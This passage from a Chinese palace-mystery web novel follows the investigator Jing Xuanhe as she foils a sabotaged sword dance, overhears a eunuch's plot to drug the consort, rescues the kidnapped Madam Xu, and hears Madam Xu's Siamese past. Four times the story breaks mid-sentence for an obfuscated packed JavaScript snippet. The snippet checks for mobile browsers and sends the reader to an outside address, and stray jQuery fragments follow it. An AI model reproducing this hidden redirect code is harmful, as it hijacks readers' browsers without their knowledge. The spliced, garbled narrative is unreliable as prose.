出徐府后,景暄和一直心事重重,还未回家,却见徐芃敏已经等候在门口,脸上有些焦急。 “景姐姐……我……”她似乎欲言又止,手上拿着一个黑色的包袱。 景暄和看她神情有异,说:“别慌,我们进门再说。” 二人一同来到了内室。 “现在你可以说了。”她把声音放低,道。 徐芃敏一脸严肃:“景姐姐,我好像发现了什么了不得的事情,”说着便将包裹打开,里面赫然便是徐夫人留下的神仙爷娃娃。 景暄和说:“那日我们已经看了这娃娃,难道你发现了什么玄机?” “正是,景姐姐,请看此处。”说着便将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13283329|123189||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娃娃翻转过来,指向底部,“因为父母的事情,我最近有些心神不宁,又因为这是我母亲留下的东西,所以每日都捧着它,可今早吃早饭的时候,不小心沾上了油渍,我着急去擦拭,却看到底部印出了图样,仔细一看,竟是一只小猫!” 猫…… 又是猫? 景暄和接过那纸娃娃,上面的图案和风筝上的小猫虽然不同,可是品种却是一样,都是暹罗猫! 她将今日去徐府的事情跟徐芃敏说了,二人陷入了沉思,若有一只暹罗猫的图案可以说是偶然,可两只相似的,就无法说是巧合了。 “芃敏,你仔细回忆一下,从小到大,你母亲有没有说过什么异国语言,或者做过什么不属于中原百姓会做的事情。” “关于语言我记不清了,可是每年的十二月,我母亲总会去河边放一盏水灯,上面放着一盏蜡烛,我曾问过母亲,这不是七夕应该做的事情吗,她怎么会十二月来做,天气那么冷,根本没有人放水灯,那时母亲没有正面回答我,可是后来有一次我偶尔看了一本书,上面提到过,十二月是暹罗的水灯节,也是独属于他们的‘七夕’。” “好,我们假设你母亲不是中原人,可是为何她给你留下的神仙爷娃娃上会有暹罗猫呢,肯定有什么寓意吧。”景暄和摸了摸下巴,有些不解。 徐芃敏似乎想起了什么,眼前一亮道:“相公与我闲谈的时候曾说,他有一个同僚在鸿胪寺就职,专门负责接待外国使臣的,这次暹罗王子就进献了两只暹罗猫给天子,一雌一雄,景姐姐,你说母亲给出的线索,是不是就指向了暹罗王子查库莱?” 景暄和心中一惊,难道徐夫人失踪的背后,还和暹罗皇室扯上了关系?不会就是查库莱绑架的吧…… 她本想趁着今日宴会去探暹罗随从的口风,找几个下人问问,可是现在看来,这远远不够,必须和暹罗王子产生交集才行。 事情好像变得越来越复杂了。 她整理了一下思绪,拍了拍徐芃敏的肩膀,说:“你放心,我已经有了应对之策。” 徐芃敏有些抱歉地说:“景姐姐,谢谢你这么帮我,在我孤立无援的时候,我知道,你永远都在我身边,日后若有用得着我的,我定万死不辞!” “别说的这么严重,你是我的朋友,所以我愿意帮助你,朋友之间互相帮助不是应该的么?徐学士和徐夫人都是好人,我相信他们定能吉人自有天相的。” “此言差矣,之前我是京中贵女,人人都捧着我,可如今我家破败了,其他人便躲着我,像避开瘟神一般,这些天,我也算是尝到了世间冷暖了,我相公还安慰我,说是我多想了,可怎么能是多想呢,他们防备的眼神,是装也装不出来的。只有你,还愿意和我说话,我真的……真的不知道怎么报答了……” 徐芃敏眼中似有雾气,她擦了擦眼睛,强撑着扯开一抹笑。 景暄和感觉得到,这个天真爽朗的姑娘好像突然长大了,磨难夺取了她的天真,让她染上了成熟的神色。 “不管如何,今晚我定会接近暹罗王子,引起他的注意,若能找到徐夫人的下落,我们也能放下心了。”景暄和沉声道。 114. 蓄意接近 是日晚间,宫廷宴会。 为了欢迎暹罗王子与王妃,鸿胪寺做了不少安排,奉天殿中有乐舞表演,宫娥们粉状朱唇,衣着华美,身旁是奏乐的宫廷乐师,余音绕梁,不绝于耳。 朱懿德高坐于皇位之上,身旁是盛装打扮的明贵妃,她面带笑容,头戴鎏金云纹贵妃冠,华贵非凡。 暹罗王妃麦娜尔起身,敬了明贵妃一杯酒,说:“早就听闻贵妃仪态大方,胜过天下女子,今日一见果真不同凡响,麦娜尔敬贵妃一杯,祝愿贵妃身体康健,福气绵长!” “多谢王妃。”明贵妃笑了笑,一饮而尽。 查库莱见状也敬了朱懿德一杯。 宾客尽欢,御膳房端来一道道珍馐美味,有如鱼,龙须菜,蟹黄羹,燕窝汤等,尽显皇家风范。 查库莱说:“此次觐见,除了四眼佛外,我还进献了两只暹罗猫,希望能博贵妃娘娘一笑。” 他拍了一下手,随从便将笼子提了上来,两只小猫一只是蓝眼睛,一只是绿眼睛,还“喵喵”叫了两声,毛茸茸的,很是可爱,让人移不开眼。 明贵妃欣喜道:“多谢暹罗王子的礼物,本宫很是喜欢,如今宫中有许多不同种类的猫儿,却还没有暹罗猫,看这两只猫儿机灵乖巧,往后定会给宫中增添许多喜乐。” “贵妃开心,朕便也开心了,来人,赏暹罗王子东海珍珠二十斛,黄金百两。” “谢陛下!”查库莱难掩欣喜之色。 朱懿德欣赏着台下的舞乐,突然指着一个空位说:“咦,哪位爱卿今日缺席了?” 魏福忠望了一眼,道:“是景暄和景大人,她似乎被什么事耽搁了,万大人,你可知道啊?” 万灵安徐徐道:“景大人如今在查四眼佛的案子,为皇上分忧不敢懈怠,被案子耽搁了也是寻常,请陛下勿怪。” 话刚说完,景暄和便在宦官的引领下来到了奉天殿。 她施了一礼,道:“陛下恕罪,臣刚从清水禅寺回来,玉泰大师被杀一事,似乎与四眼佛案有关联,臣百思不得其解,竟耽搁了宴会。” “也罢,景爱卿一片丹心,也是为了案子,朕自然不能怪罪,你先入座吧。” 麦娜尔突然道:“这位姑娘好生面善,我还以为是位娘娘妃子,没想到竟是查案的女官,真是遗世独立,见之忘俗呀。” “多谢王妃夸奖。”景暄和微笑道,又说:“陛下虽未责怪,可是臣还是做错了,于心不安,臣愿献上剑舞,以表歉意,不知陛下意下如何?” “好,这歌舞听多了也有些没趣,剑舞倒是新奇,景爱卿这便开始吧!”朱懿德开怀道。 “是,陛下!” 宫娥们鱼贯退去,舞台上顿时空空如也。 小宦官给景暄和一把软剑,她接过剑,衣袂飘飘,却见这宦官似乎对魏福忠使了一个眼色,不知是何意。 来不及多想,她便翻起剑花。 剑光闪烁,如流星划过天际,景暄和动作流畅,行云流水之间,衣衫也随风飘扬。 魏福忠这时却说:“剑舞虽好,没了音乐作配,倒有些遗憾了。” 朱懿德也默默地点了点头,表示同意。 万灵安突然拿起一只玉箫,仙乐悠扬,节奏变换,气势如虹。 景暄和一愣,随即越舞越快,剑舞似乎与乐声合二为一,配合十分精妙。剑影婆娑,每一个动作都与音乐的节拍完美融合。 谁知,银剑突然从中间断开,往查库莱的方向直直飞去。 景暄和一惊,终于知道了魏福忠的眼神是什么意思。 居然在这儿等着她,给了她一把有瑕疵的剑,这是要害死她! 来不及多想,她动作飞快,将剑把向剑刃处一掷,哐当一声,挡住了剑刃。 查库莱早已吓得不知所措,直直地坐在椅子上,刚刚才反应过来发生了什么,汗如雨下。 “陛下,魏公公给了臣一把断剑,不知何意?”景暄和直言道。 魏福忠似乎有些猝不及防,没想到她竟会先发制人,失声道:“景大人这是何意啊?咱家怎会给你断剑,明明是你居心叵测……” “居心叵测?”景暄和毫不畏惧地直视他,“臣是好心,为了给陛下和暹罗使臣助兴,怎么到你口中却成了居心叵测?再说了,暹罗王子和我无冤无仇,我又怎会害他?!魏公公是宦官之首,他们无一不以你马首是瞻,这软剑自然和魏公公脱不了关系!” 小宦官跪了下来,“陛下饶命啊,确实不关魏公公的事情,奴才刚才去剑器阁,发现这柄软剑高悬于上,以为是把好剑,也许是其他太监知道是坏剑才挂在那里的,奴才应该多问一嘴的……是奴才不小心,全是奴才的错!” 朱懿德不悦道:“你这奴才,也太不小心了,拖出去,杖责二十。” 小宦官被拖了下去,气氛一时降到了冰点。 麦娜尔轻声说:“陛下,这只是个小插曲罢了,王子殿下并未出事,也是幸运,我们何不继续宴席,不要被这小事误了兴致。王子殿下,你说是不是啊?”她笑问了自己的夫君一句。 查库莱擦了擦汗,说:“是的陛下,咱们继续宴席吧。” 奉天殿连通着御花园,为了迎接使臣,御花园中挂满了花灯,建筑在灯光的映照下显得流光溢彩。秋风送爽,金黄的落叶在石板路上铺成金黄的小路,在夜色中更加神秘迷人。 御花园中摆满了菊花,景暄和拿着酒杯,停在一盆造型独特的菊花前,只见菊花如绣球一般,共有两色,一红一黄,花瓣柔嫩,很是好看。 “景大人刚才真是眼疾手快啊,本王子实在是佩服。” 景暄和转头,却见查库莱站在自己身边,一双眼睛正直勾勾地盯着自己,不禁笑了笑,说:“殿下是有福之人,自然不会被这些小事所伤,倒是暄和冒冒失失的,还请殿下见谅。” “来来来,小王敬景大人一杯。”他爽快地喝光了。 景暄和也回了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13312715|123189||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一杯,只觉得宫中佳酿甘甜,却有些烈了。 “景大人的剑舞实在是极好,早年读中原书籍,读到杜甫所写的关于公孙大娘剑舞的诗句,说:‘昔有佳人公孙氏,一舞剑器动四方。观者如山色沮丧,天地为之久低昂。’那时我还不信,不过就是剑舞,怎会如此震撼,今日一见,才觉得果然厉害,是我之前小瞧了。” “殿下过誉了,顺天府的舞剑名士何其多,我不过是班门弄斧罢了,又怎么能和公孙大娘相比呢?” 这时,远处一座凉亭突然熙熙攘攘的,似有几人坐于亭中下棋,景暄和没有转头,只是专心和查库莱讲话。 查库莱拿着酒壶,又倒了一杯酒,意有所指道:“景大人也不必如此谦虚,本王子倒觉得,景大人如果不做官员,凭借这身段样貌都能当一国的娘娘呢。” “殿下可别这么说,当妃子都要有一颗娴静顺和之心,我一向野惯了,不喜欢被束缚,还是当官员查案更适合我。” “那四眼佛的案子,景大人可查出什么端倪没有?”他又给景暄和倒了杯酒。 景暄和喝了酒,心中却和明镜一般,说:“这案子线索错综复杂,如今又有了玉泰大师的案子,实在是难办,也没什么进展,真是让人心焦啊。” 她只是草草带过,并未透露其他,以防被套话。 查库莱只是笑了笑,好像也并未对这案子太过关心。 景暄和顿了顿,又问:“殿下来大明数日,有没有去哪里逛逛?” “倒是看了树木色彩斑斓,断桥流水迢迢,如斯美景,可惜没有佳人作伴,有些没有兴味。”他眼神突然暧昧起来,走近景暄和一步,说:“不知景大人明日是否有时间,小王知道大人事情繁忙,可是也要劳逸结合啊,否则累坏了身子,可叫人心疼。” 景暄和心中咯噔一声,不觉扯开一抹笑:“殿下哪里的话,您的王妃看起来美丽随和,要说世间佳人,莫过于此了,怎能说没有佳人作伴呢?” “景大人有所不知啊,我的王妃一向体弱,不喜出门,平日里连晒太阳都不想,怎会和我出门呢?若能有景大人这般佳人相陪,小王才不枉此番大明之行啊。” 他手指突然划过景暄和的手背,不怀好意地笑了笑,景暄和两眼一黑,差点想爆出粗口。 真想扭断他的手啊。 深吸了好几口气,才拼命抑制住了这个念头。 她悄无声息地退后了两步,一板一眼道:“殿下谬赞了,我虽喜欢舞剑,却并不醉心风月之事,平日里也如个老古板一般,实在不值得殿下抬爱了。” 又重重地咳嗽了一声,“实不相瞒,在下还有肺疾,一咳嗽起来简直有碍观瞻,请殿下见谅了。” “这样啊……”查库莱似乎觉得扫兴,“那景大人便好好赏花吧,小王不打扰了。” 说完拔腿就走。 真是变脸比翻书还快。 景暄和白了他一眼,再一回首,亭中之人已不在了。 115. 断桥彩树 宫中亭台楼阁,弯弯绕绕,景暄和突然见二十名宫女每人捧着一斛珍珠,送往奉天殿,其中一名便是之前在冷宫前见到的宫女斓儿,斓儿见到景暄和,似乎有话想对她说,可是又止住了。 景暄和见她神情有异,便用眼神示意她,自己会在此处等她,让她办完事后再说。 不一会,斓儿便过来了,她对着景暄和福了一福,说:“景大人安好。” “你刚才似乎有话想对我说?”景暄和问。 斓儿叹了口气,说:“事情是这样的,大人之前要我照顾的冷宫鬼嬷嬷,姓‘房’,大人可还记得?” “当然。”景暄和点头,“怎么,她发生什么事情了吗?” “我三日前给房嬷嬷送吃的,叫了半天却没人答应,从门缝中看到,她竟躺倒在院中,一动不动了,我告诉宫里当值的太监,他们入内,却发现她已经去世多时了,我当时很害怕,他们却像见怪不怪似的,只是拿了卷草席将她抬走,也不知丢到了哪个乱葬岗。” “竟有此事?”景暄和有些郁闷,上次见她还是活生生的人,这次再听到消息,却已经是天人永隔了。 风儿吹过,飘下一片黄叶,落在景暄和的脚边。 “景大人,奴婢还要去给贵妃娘娘送安神药,就先离开了。” 景暄和回过神来,说:“去吧,谢谢斓儿姑娘告诉我此事。” “景大人对奴婢有救命之恩,以后若有什么吩咐,奴婢定会全力以赴。” 斓儿施了一礼,景暄和扯开一抹笑,点点头。 她心中有些落寞,像被堵住一般,紫禁城太大了,宫中死个把人简直是再寻常不过的事情了,若不是贵人,便如同蚂蚁一般,连一生的痕迹都不会留下。 循着记忆来到冷宫附近,这是一个岔路口,和奉天殿的排场相比,实在是太冷清了。 不知不觉就走到了此处,却见两名宫人正在窃窃私语,景暄和一眼就看到了小德子。 这不是魏福忠的贴身心腹么,他来这里做什么? 此处树木繁多,带着疑问,景暄和躲在了一棵梧桐树后。 谁知,树后却早已有一人。 景暄和顺手一劈,那人却反手握住她的手腕,眸若寒星,鼻尖是熟悉的月麟香的气味。 怔忪地望了他一眼,万灵安将手指放在唇前,示意她不要说话。 小德子的声音顺着清风飘了过来,他环顾四周,十分谨慎地说:“药每天都下了么?没有人怀疑吧?” 面生的小太监点点头,“谨遵厂公吩咐,每日都下了,永和宫那位也并未起疑心,一切都进行得很顺利。” “那便好,替厂公做事,定要仔细些,可别耽误了厂公的大事,到时候你全家的性命都赔不起的!” “是是是,小人定会好好办差,不让厂公失望!” 景暄和心中一惊,那宦官口中的“永和宫”,不是明贵妃的居所么,他们难道是想暗害贵妃? 魏福忠居然如此大胆! 脚下一动,好似踩到了一根枯木,发出一声脆响。 “谁?”小德子警觉道。 他向这边缓缓走来,每一步都好似踩在了景暄和的心尖上,她从袖中拿出三枚银针,屏气凝神,做好准备。 这时,一只猫儿却蹿了出来,朝小德子扑去,小德子一惊,立马闪过,才没被猫抓伤。 “德公公,不过是只猫儿罢了,这冷宫周围猫儿有许多,就别一惊一乍的了吧。”小宦官说。 “你懂什么?这可是掉脑袋的大事,不容半点闪失,仔细些总没有坏处!”小德子斜睨了他一眼,有些不耐烦,他整了整衣服,说:“真是见鬼,要不是贵人们喜欢,这皇宫的猫儿也不会这么多,若到时候宫里来了新主子,定要魏公公将它们全部都丢出去!” “那是自然,魏公公神机妙算,自然是能掌握天下大事的,只是听说厂公最近十分依仗宫外的那外,就连搬倒徐学士的事情,那位也出了不少主意,奴才知道,德公公一直是厂公的左膀右臂,可是那位实在不可小觑,若以后厂公更为倚重那人,忽视了德公公,岂不是令人心烦?咱们都知道,若以后魏厂公年纪大了,司礼监秉笔太监的位置空下来后,定该德公公顶上,可是看如今厂公对那位的信任程度,德公公还是该早做打算啊,不要白白便宜了别人,那可不划算了。” 小德子眉头一皱,伸手弹了一下他的脑袋。 “你这小泼皮,位置不高,想的倒是挺多的。” 小宦官“哎呦”一声,继续嬉皮笑脸道:“我可是一心为德公公着想啊,咱们就算是一条绳上的蚂蚱了,那位好像如今也在盯着河边村,若是他先德公公一步找到那藏宝图,厂公恐怕会更为倚重他,那么往后,德公公在宫中还有立锥之地么?” 小德子的脸色染上了一层阴云,他似乎很认真地在考虑小宦官的说法。 “不管怎样,在厂公身边的只能是我,其他人若是敢跟我争,就别怪我不客气了。”小德子似乎下定了决心似的。 二人又说了会闲话,见四下无人,便悄悄离开了。 景暄和长舒了一口气,这才注意到,自己正被万灵安拴在怀中。 她想挣脱开来,万灵安却越搂越紧,景暄和抬头,撞入了他讳莫如深的眼神之中,像一弯深潭,仿佛不自觉让人陷入其中。 “怎么,我是哪里得罪万大人了?”景暄和见挣脱不得,索性说。 万灵安只是抿了抿嘴。 景暄和见他面色不善,说:“我这也是无奈之举啊,故意迟到,不过是为了吸引他的注意,后来剑舞还多亏了万大人的箫声,不过却没想到魏福忠竟然想害我,差点中了他的奸计。 见万灵安还是没说话,景暄和突然搂住他的脖子,对他耳语道:“刚才看我和暹罗王子说话,吃醋了?” 她的声音很轻,气息吹过他的耳畔,好像芦苇丝轻轻荡过。 万灵安的心也像被拨动了,耳垂突然有点红。 景暄和继续说:“刚才确实拿到了一些信息,不过我还得想想再决定。” “那登徒子,你还是离他远些吧。”万灵安有些气不顺,“若他再敢碰你一下,我不介意扭断他的手。” “我当时也是这么想的,可是为了拿到线索,只能忍耐了。” 万灵安心想,在顺天府他不会动他,可是出了顺天府,就说不准了。 “小德子是魏福忠的心腹,他刚才说的‘永和宫’的那位,是不是指的是你姑母?”景暄和换了个话题。 “那是自然了。”万灵安眼中染上一丝冷寂。 “可恶,魏福忠竟将算盘打到明贵妃头上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13321321|123189||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,胆子实在是越来越大了。”景暄和有些不忿,“看刚才小德子所说,好像他们要给明贵妃下药,我们要不要去阻止?” “我已经派人通知了姑母,她最近会多加小心,只可惜他们做事太过隐蔽,我们没有确凿的证据,就算闹到了皇上那里去,也定不了魏福忠的罪,到时候还会打草惊蛇,只能在他们下次动手时,来个人赃并获,将这件事闹大。”万灵安眼神冷酷,“之前还只是怀疑,今日之事更让我确定了,魏福忠想要的,绝不是东厂的权力那么简单。” “你心中有了抉择便好。”景暄和好像有些心神不宁。 万灵安心想,他本不想让她参与其中,可她却撞到了这件事,难道是上天冥冥之中的安排? 景暄和眼中突然有些落寞,牵住他的手,说:“今日我听宫女斓儿说,房嬷嬷死了。” “那是谁?”万灵安松开手,神色微微敛了一些。 “那是一个偶然的故事,我在斓儿的引领下来到此处,认识了房嬷嬷……”景暄和缓缓说道。 万灵安听着她说话,在听到“黎正”这个名字时,眼神才有了变化。 …… 这场宫宴结束后,众人便出宫了。 景暄和上了一辆马车,径直往府邸而去。 一路上都在思考与查库莱的对话,锦衣卫的暗线告诉她,查库莱只出去过一次,带着两个随从,也不知去了哪里,如果真是他绑架了徐夫人,那么这一次出去,一定是去找徐夫人问话的。 对话中,他提到了“树木色彩斑斓,断桥流水迢迢”,顺天府有此景色的地方并不多。 从袖中拿出一顺天府的地图,景暄和细细地端详着,生怕错过一点细节。 突然,她的目光定在了一点上。 西郊有一荒废的古驿站,周围便是有断桥和彩树! 难道徐夫人,就在这里?! *** 郊外竹林中。 阿衡匆匆而来,说:“黎先生,宫里传来消息,房嬷嬷,死了。” 黎正本在喝茶,手突然一顿,他背过身去,久久没有说话。 “我与紫禁城唯一的羁绊,也就此斩断了,从此以后,紫禁城再无我挂念的人了。” “黎先生,请节哀。”阿衡不知说什么来安慰他,只是心中有些苦涩。 黎正冷凝着脸,从抽屉拿出一个锦囊,道:“之前在紫禁城,我最讨厌猫了,可是宫中却有很多猫,我虽然厌恶,却做不了任何事情,是房嬷嬷帮我赶走那些猫,不让它们靠近我,还送给我这锦囊,里面装有猫害怕的药草,从此,它们便再也不敢近我的身了。” 这锦囊已经有许多年头,破旧,却装满了他温情的回忆。 “这世上所有的离别,为何,却不能晚一些呢……”他的声音幽长,似乎有些哽咽:“我本在想,若我日后能堂堂正正地回到紫禁城,一定要将她从冷宫中接出来,可是,她却再也等不到那一天了……” “阿衡一定会找到她,将她好好安葬,定不会让她曝尸荒野。”阿衡调整呼吸道。 “多谢。” 黎正坐在古琴前,开始弹奏,声音凄迷哀婉,是一首魏晋时人流传下来的安魂曲。 月色打在竹子上,落下了斑驳的影子。 天气,好像愈发冷了。 116. 爱情毒药 这一夜,景暄和带着人马前往了西郊古驿站。 他们埋伏在周围,果然见那驿站灯火通明,似乎有人看守。 因为事情紧急,手下们都是漏夜前来,景暄和心中感激不已。 却见阿呆脸色似乎有些恹恹的,景暄和问他:“怎么,有心事?” 阿呆摇摇头,“只是太困了而已,明天睡个觉就好了。” 景暄和不疑有他。 她吩咐手下们守在四周,不让任何人出去,自己则是隐蔽在距离驿站最近的地点,不放过里面的一举一动。 驿站的灯火熄灭了,里面的人似乎睡了,可还是有两名卫士守在门口。 景暄和用眼神示意了赵四梁和张二越,他们点头,立即从两边围了上去,一左一右地将两名卫士抹了脖子。 两队人马趴在门边,见里面没了动静,立马破门,动作十分默契,顿时便将驿站中十数人给扣住了。 “别动!”高大虎死死地压住领头那人,那人似乎很是惊奇,嘴里蹦出几句暹罗语。 徐夫人果然被绑在柱子上,她头发凌乱,脸上全是黑灰,早已没了雍容妇人的样子,只剩下满脸的疲惫,嘴里被破布塞住,见是景暄和,简直比像见到了亲人还激动。 景暄和将她口中的破布拿出,替她松了绳子,徐夫人立时便身子一软,差点没力气站起来。 “景大人,我就知道,你们一定会来救我的!”徐夫人哽咽道,泪水滴滴答答地落了下来,她的脸上满是青紫的痕迹,仿佛是被人给扇过巴掌,嘴角还有血迹,狼狈不堪。 她似乎欲言又止,又像是有一大堆话想和景暄和诉说。 景暄和望了下外面,道:“此地不宜久留,我们赶快离开!芃敏很担心您,还好您没有生命危险,快点跟我走吧!” “好……好!”徐夫人擦了擦眼泪,在景暄和的搀扶下起身。 路口处是他们的马匹,景暄和将徐夫人扶上了她的白马,自己也上了马,挥鞭而去。 众人回到北镇抚司,一颗心才安定了下来。 “兄弟们辛苦了!快回家歇息吧。”景暄和微笑道。 张二越笑了笑,说:“这算什么,我们以前办案子还通宵过三天三夜呢,明天我们还是去河边村探查,最近那儿很热闹,可疑的人也愈发多了。” “多谢!” 景暄和将徐夫人搀扶到了厅中,让她坐到红木椅子上,说:“现在安全了,徐夫人,您有什么话尽管跟我说吧。” 徐夫人似乎还是惊魂未定,身子不住地颤抖。 景暄和给徐夫人披上了一件外衣,又给她倒了一杯茶。 清茶冒着热气,她捧着茶杯,眼神像失去了焦距一般。 这时,门口似乎有人过来了,徐夫人被声音吸引望了过去,终于见到了自己日思夜想的女儿。 徐芃敏踏入门时,看到自己的母亲,不禁捂住嘴,喜极而泣。 “娘亲!吓死我了,这些天你到底去哪里了!”她脚步虚浮,几乎是用尽力气才来到母亲的身边。 这些天她辗转难眠,今日好不容易睡下,却有人来状元府敲门,很是急促的样子。 来人是阿呆,景暄和派他去接徐芃敏过来,她的想法是,有了女儿在身边,徐夫人应该会更容易放下防备,说出真相。 母女二人相拥而泣,好一会儿才止住哭泣。 徐芃敏拿出手绢,擦干母亲脸上的眼泪,也擦掉了那些灰尘。 “你父亲怎样了,我走后,徐家有没有出什么事?”徐夫人似乎有不详的预感,这些天眼皮一直在跳,心中也慌慌的。 徐芃敏垂下头没有说话,咬了咬嘴唇,实在不知怎么和母亲说。 “景大人,你告诉我,发生什么事了?”徐夫人眼中带着焦虑。 “您失踪后不久,徐大人竟被东厂诬陷,下了大狱,如今在东厂牢狱中,情况不明。” “你说什么……”徐夫人想起身,脑子却有些晕,跌坐到了椅子上,她突然咳嗽了起来,“怎么可能……这怎么会……” “魏福忠借口调查您失踪,要去徐家搜索线索,谁知竟在佛堂中发现了徐学士贪污的账本,便以此为借口,将他打入了大牢……”景暄和的声音越来越低,可是她知道,隐瞒并不能让事情变好,现在要做的,是如实相告。 “我为了不让家人陷入险境,才主动去找查库莱的,谁知,却被魏福忠钻了空子!” 徐夫人悲愤交加,一颗心好似被油煎过一般。 徐芃敏抓住她的手说:“娘亲,这些天是景姐姐安慰我,除了她,顺天府的贵女们都躲着我,我也体会到了人情冷暖,明白了谁对我才是真心的!娘亲,你有什么话,一定要对景姐姐说,她会帮助我们的。” 徐夫人擦了擦泪,终于开口了。 她对着景暄和说道:“想必你已经知道了那暹罗猫的事情,才顺藤摸瓜地找到了我。” 景暄和说:“我与芃敏殊途同归,是她发现了神仙爷娃娃上的暹罗猫图案,我们才推测出是暹罗王子绑架了您。” 徐夫人似乎有些怅然:“我隐藏了这么长时间,可是他们,还是没有放过我。”她的声音苦涩,带着一丝难解的忧郁。 “您口中的‘他们’,是指暹罗王室么?” 她颔首道:“正是,其实,我并不是中原人,景大人也许知道了吧。” 徐芃敏双眼瞪大,似乎难以相信,不禁退后了几步。 徐夫人叹息道:“我来大明,纯属偶然,因为我发现了一个秘密,这个秘密让我感到恐惧,便逃出了暹罗王国……” 她望向了远方,似乎陷入了回忆。 “多年前,我还是暹罗明香公主身旁的侍女,名唤‘阿域’,明香公主是如今暹罗王的女儿,年轻时活泼好动,离经叛道,在天鸾大师来暹罗讲经之时,竟和他产生了感情。” “你说什么?”景暄和似是不敢相信自己的耳朵,又确认了一遍:“你说的,可是那不近女色,一心向佛的天竺大师天鸾?” “是,就是他。”徐夫人很肯定地说。 “可是他之前明明阻止了自己的徒弟鸠摩伽耶的爱情,为何落在自己头上,却又不管不顾了呢?” “仓央嘉措说过:‘世间安得两全法,不负如来不负卿’,也许人只有亲身经历过才食髓知味,棍子没有落到自己的身上,是永远不知道痛的。”徐夫人回忆道:“那个时候,我是明香公主的心腹丫鬟,她时常派我给天鸾送信,诉说衷肠,二人鸳鸯缠绵,难舍难分,终于有一天,这信竟被暹罗王发现了。” “天鸾大师为了佛祖,放弃了明香公主,明香公主就这样带着怨恨嫁给了一个大臣。我是她的陪嫁丫鬟,看着公主日渐消瘦,很是心疼,她的精神似乎很不好,有时候又哭又笑,大家都躲着她,很害怕,谁知后来,明香公主的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13340313|123189||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 痴症越来越严重,有天竟杀死了那大臣。” 她到现在也忘记不了公主满手都是血的样子,一身白衣,好像从地域出来的恶魔一般,眼中满是绝望。 “那一晚恰好是四眼佛建成的日子,明香公主像疯了一样去往了佛寺,拿起斧子便砍断了四眼佛的手指,让它成了一个残次品,算是报复自己昔日的爱侣。那晚过后,明香公主彻底疯了,从一个皇家贵女变成了可怕的疯妇,爱情于她而言如同毒药,一国公主又如何,最后竟成了一个疯子……天鸾大师受不了打击,为了赎罪,竟然撞死在了四眼佛边。” 景暄和心想:看来之前的传说还是有误,天鸾大师的死不是因为四眼佛,而是因为明香公主。 冗长的安静后,她说:“那他的徒弟鸠摩迦耶呢,岂不是白白送死?” 徐夫人沉声道:“暹罗王觉得这是皇家丑闻,不能让这件事公之于众,便将事情全推到了鸠摩迦耶的身上,说是他砍掉了佛像的手指,罪大恶极……那时的他失去爱人,早已经万念俱灰,如同行尸走肉一般,也不辩解,最终自焚献祭,结束了自己痛苦的一生。在死前,他并没有发下诅咒,而是喃喃道:‘师父,原来我们,都是一样的……’” 她永远忘不了那个清俊的布衣和尚,在大火中,本是闭着眼一直在诵经,可是临死前,却温柔地呼喊了一声自己爱人的名字。 那一声,好似突破了所有戒律清规,只是一个男人对一个女人的爱。 那般善良温和的佛子,就这样,烧死在了大火之中。 世间安得两全法,不负如来不负卿…… 仓央嘉措如此,天鸾大师和鸠摩迦耶亦是如此…… “此事已了,暹罗王为了保全明香公主的名声,下令杀掉所有的知情人,我们这些丫鬟自然首当其冲,我很害怕,趁着士兵还没来,抓紧时间逃走了,却误入大明,被一户渔民所救,后来我辗转多处,又去琅琊王氏家里当丫鬟,那小姐对我很好,她和徐学士定了娃娃亲,却爱上了一个书生,在大婚前夕,王小姐和书生私奔了,王家方寸大乱,于是我便被主人家顶上了,他们还用膏药将我手上的茧子除去了,将我包装成一个大家闺秀的样子,嫁给了徐学士。” 她脸上突然带上一抹淡淡的微笑,“我本就对男女情爱没有期望,只想平安度过此生便罢了,谁知,他却待我那样的好,好到我都忘了自己有段那般的过往了……” “娘亲……”徐芃敏扑进了她的怀中,任泪水流下,徐夫人慈爱地摸了摸女儿的头发。 